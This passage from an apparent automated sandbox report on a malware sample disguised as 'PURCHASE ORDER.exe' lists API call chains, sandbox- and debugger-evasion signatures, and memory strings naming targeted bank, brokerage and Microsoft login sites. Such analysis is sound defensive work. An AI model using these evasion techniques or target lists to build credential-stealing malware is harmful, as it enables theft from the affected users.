            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A027FA pushad ; ret 2_2_03A027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD push ecx; mov dword ptr [esp], ecx2_2_03A309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A0283D push eax; iretd 2_2_03A02858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A01366 push eax; iretd 2_2_03A01369
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exeCode function: 4_2_02516254 pushad ; ret 4_2_02516258
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004772DE IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_004772DE
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Contains functionality to detect sleep reduction / modifications
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_004440780_2_00444078
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeAPI/Special instruction interceptor: Address: 3F5CEFC
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88ED324
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88ED7E4
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88ED944
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88ED504
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88ED544
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88ED1E4
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88F0154
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI/Special instruction interceptor: Address: 7FF8C88EDA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E rdtsc 2_2_03A7096E
            Source: C:\Windows\SysWOW64\TapiUnattend.exeWindow / User API: threadDelayed 9842Jump to behavior
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeAPI coverage: 3.1 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
            Source: C:\Windows\SysWOW64\TapiUnattend.exeAPI coverage: 2.6 %
            Source: C:\Program Files (x86)\aMKilHaSQRXrOhdFhMisFEAUHMjHvdDejTXZGKxxPtBMTtwMykLiOJlxnpTCdKlORquyaFZfaVOSwSv\mMtRNEqhUF.exe TID: 7820Thread sleep time: -45000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 7796Thread sleep count: 130 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 7796Thread sleep time: -260000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 7796Thread sleep count: 9842 > 30Jump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exe TID: 7796Thread sleep time: -19684000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\TapiUnattend.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\TapiUnattend.exeCode function: 5_2_005CC5F0 FindFirstFileW,FindNextFileW,FindClose,5_2_005CC5F0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470
            Source: H05Y8H-I.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
            Source: H05Y8H-I.5.drBinary or memory string: discord.comVMware20,11696428655f
            Source: H05Y8H-I.5.drBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
            Source: H05Y8H-I.5.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: global block list test formVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
            Source: H05Y8H-I.5.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
            Source: H05Y8H-I.5.drBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
            Source: H05Y8H-I.5.drBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
            Source: TapiUnattend.exe, 00000005.00000002.3898076160.00000000009F4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
            Source: H05Y8H-I.5.drBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
            Source: H05Y8H-I.5.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
            Source: H05Y8H-I.5.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
            Source: H05Y8H-I.5.drBinary or memory string: outlook.office365.comVMware20,11696428655t
            Source: H05Y8H-I.5.drBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
            Source: mMtRNEqhUF.exe, 00000004.00000002.3898538605.00000000009DE000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000007.00000002.2757424186.000001FBC367C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: H05Y8H-I.5.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: outlook.office.comVMware20,11696428655s
            Source: H05Y8H-I.5.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
            Source: H05Y8H-I.5.drBinary or memory string: ms.portal.azure.comVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: AMC password management pageVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: tasks.office.comVMware20,11696428655o
            Source: H05Y8H-I.5.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
            Source: H05Y8H-I.5.drBinary or memory string: turbotax.intuit.comVMware20,11696428655t
            Source: H05Y8H-I.5.drBinary or memory string: interactivebrokers.comVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: dev.azure.comVMware20,11696428655j
            Source: H05Y8H-I.5.drBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
            Source: H05Y8H-I.5.drBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
            Source: H05Y8H-I.5.drBinary or memory string: bankofamerica.comVMware20,11696428655x
            Source: H05Y8H-I.5.drBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
            Source: H05Y8H-I.5.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\TapiUnattend.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E rdtsc 2_2_03A7096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00417773 LdrLoadDll,2_2_00417773
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0045A259 BlockInput,0_2_0045A259
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,0_2_0040EB70
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_03F5D1C8 mov eax, dword ptr fs:[00000030h]0_2_03F5D1C8
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_03F5D168 mov eax, dword ptr fs:[00000030h]0_2_03F5D168
            Source: C:\Users\user\Desktop\PURCHASE ORDER.exeCode function: 0_2_03F5BB38 mov eax, dword ptr fs:[00000030h]0_2_03F5BB38
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]2_2_03A2E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]2_2_03A5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]2_2_03A5438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]2_2_03A28397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]2_2_03A403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]2_2_03A4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A663FF mov eax, dword ptr fs:[00000030h]2_2_03A663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC3CD mov eax, dword ptr fs:[00000030h]2_2_03AEC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]2_2_03A3A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]2_2_03A383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB63C0 mov eax, dword ptr fs:[00000030h]2_2_03AB63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov ecx, dword ptr fs:[00000030h]2_2_03ADE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03ADE3DB mov eax, dword ptr fs:[00000030h]2_2_03ADE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]2_2_03AD43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD43D4 mov eax, dword ptr fs:[00000030h]2_2_03AD43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]2_2_03A6A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2C310 mov ecx, dword ptr fs:[00000030h]2_2_03A2C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A50310 mov ecx, dword ptr fs:[00000030h]2_2_03A50310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD437C mov eax, dword ptr fs:[00000030h]2_2_03AD437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]2_2_03AB2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov ecx, dword ptr fs:[00000030h]2_2_03AB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]2_2_03AB035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AFA352 mov eax, dword ptr fs:[00000030h]2_2_03AFA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD8350 mov ecx, dword ptr fs:[00000030h]2_2_03AD8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B0634F mov eax, dword ptr fs:[00000030h]2_2_03B0634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]2_2_03A402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]2_2_03A402A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]2_2_03AC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]2_2_03AC62A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]2_2_03A6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]2_2_03A6E284
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]2_2_03AB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]2_2_03A402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]2_2_03A3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B062D6 mov eax, dword ptr fs:[00000030h]2_2_03B062D6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2823B mov eax, dword ptr fs:[00000030h]2_2_03A2823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]2_2_03A34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2826B mov eax, dword ptr fs:[00000030h]2_2_03A2826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]2_2_03AE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB8243 mov eax, dword ptr fs:[00000030h]2_2_03AB8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB8243 mov ecx, dword ptr fs:[00000030h]2_2_03AB8243
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A250 mov eax, dword ptr fs:[00000030h]2_2_03A2A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A36259 mov eax, dword ptr fs:[00000030h]2_2_03A36259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]2_2_03AEA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEA250 mov eax, dword ptr fs:[00000030h]2_2_03AEA250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A70185 mov eax, dword ptr fs:[00000030h]2_2_03A70185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]2_2_03AEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AEC188 mov eax, dword ptr fs:[00000030h]2_2_03AEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]2_2_03AD4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AD4180 mov eax, dword ptr fs:[00000030h]2_2_03AD4180
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03AB019F mov eax, dword ptr fs:[00000030h]2_2_03AB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A2A197 mov eax, dword ptr fs:[00000030h]2_2_03A2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03B061E5 mov eax, dword ptr fs:[00000030h]2_2_03B061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A601F8 mov eax, dword ptr fs:[00000030h]2_2_03A601F8
